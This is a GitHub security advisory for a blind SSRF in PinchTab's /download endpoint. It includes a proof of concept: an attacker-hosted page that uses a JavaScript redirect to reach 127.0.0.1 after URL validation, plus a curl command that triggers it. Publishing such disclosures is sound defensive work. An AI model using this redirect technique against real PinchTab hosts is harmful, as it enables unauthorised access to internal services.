Skip to content

PinchTab has a Blind SSRF via browser-side redirect bypass in /download URL validation

Moderate severity GitHub Reviewed Published Mar 17, 2026 in pinchtab/pinchtab • Updated Mar 20, 2026

Package

gomod github.com/pinchtab/pinchtab (Go)

Affected versions

<= 0.8.2

Patched versions

0.8.3

Description

The /download endpoint validates only the initial URL provided by the user using validateDownloadURL() to prevent requests to internal or private network addresses.

Exploitation requires \security.allowDownload=true, which is disabled by default.

However, pages loaded by the embedded Chromium browser can trigger additional browser-side requests (for example, JavaScript redirects, navigations, or resource requests) after the initial validation step.

Because the validation is only applied to the initial URL and not to subsequent browser-issued request targets, an attacker-controlled page can cause the browser to issue requests to internal network services reachable from the PinchTab host.

This results in a blind Server-Side Request Forgery (SSRF) condition in which internal-only services may be accessed and state-changing endpoints may be triggered without returning the response body to the attacker.

Steps to Reproduce:

Environment Setup
Target: PinchTab server (tested on v0.8.x, v0.7.x)
Attacker-controlled server: Publicly accessible (e.g., via ngrok) attacker.py
Internal service: Runs on the same host as PinchTab and is not externally accessible internal_service.py

1. Start a Local Internal Service (Victim Side)

Run a simple HTTP service bound to localhost: internal_service.py

python internal_service.py

#Example behavior of internal_service.py:
#Listens on 127.0.0.1:1337
#Exposes endpoint /increment
#Increments a counter and logs requests

#Expected output when accessed:
#COUNTER INCREMENTED: 1
#COUNTER INCREMENTED: 2

2. Host an Attacker-Controlled Page (Attacker side)

Deploy a malicious HTML page that redirects to the internal service: attacker.py

<html>
<body>
<script>
setTimeout(function(){
    window.location = "http://127.0.0.1:1337/increment";
}, 1500);
</script>
</body>
</html>

Host this page on a publicly accessible server (e.g., using ngrok): https://fcb8-180-149-93-3.ngrok-free.app

3. Trigger the Vulnerable Endpoint (Attacker side)

Send a request to the PinchTab /download endpoint:

curl "http://[server-ip]:9867/download?url=https://fcb8-180-149-93-3.ngrok-free.app"

If a server token is configured, the request must include valid authentication.

4. Observe Server-Side Request to Localhost

When PinchTab processes the request:

  1. It launches a headless Chromium instance
  2. The browser loads the attacker-controlled page
  3. JavaScript executes within the browser
  4. The browser redirects to: http://127.0.0.1:1337/increment

5. Verify the Impact

Check the output of internal_service.py:
proof

COUNTER INCREMENTED: 1
proof_incremented

This confirms that the request originated from the PinchTab host and that an attacker can successfully access localhost-only internal services via the browser, despite the initial URL validation.

Impact

This vulnerability allows an attacker to bypass the /download URL validation and cause the embedded Chromium browser to make requests to internal network services. By hosting a page that performs a redirect after the initial validation, an attacker can force the browser to access resources such as 127.0.0.1 or other private network addresses reachable from the PinchTab host.

Although the response is not returned to the attacker (blind SSRF), this behavior can still be used to interact with internal services and trigger state-changing endpoints. In environments where sensitive services or cloud metadata endpoints are accessible from the host, this could lead to more serious security impact.

Mitigation

Apply the same URL safety policy to every browser-issued request in the /download flow, not only the initial user-supplied URL, and block requests to loopback, private, link-local, and other non-public network ranges inside the Chromium browser context.

References

@luigi-agosti luigi-agosti published to pinchtab/pinchtab Mar 17, 2026
Published to the GitHub Advisory Database Mar 18, 2026
Reviewed Mar 18, 2026
Published by the National Vulnerability Database Mar 20, 2026
Last updated Mar 20, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
None
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(13th percentile)

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-33081

GHSA ID

GHSA-qwxp-6qf9-wr4m

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.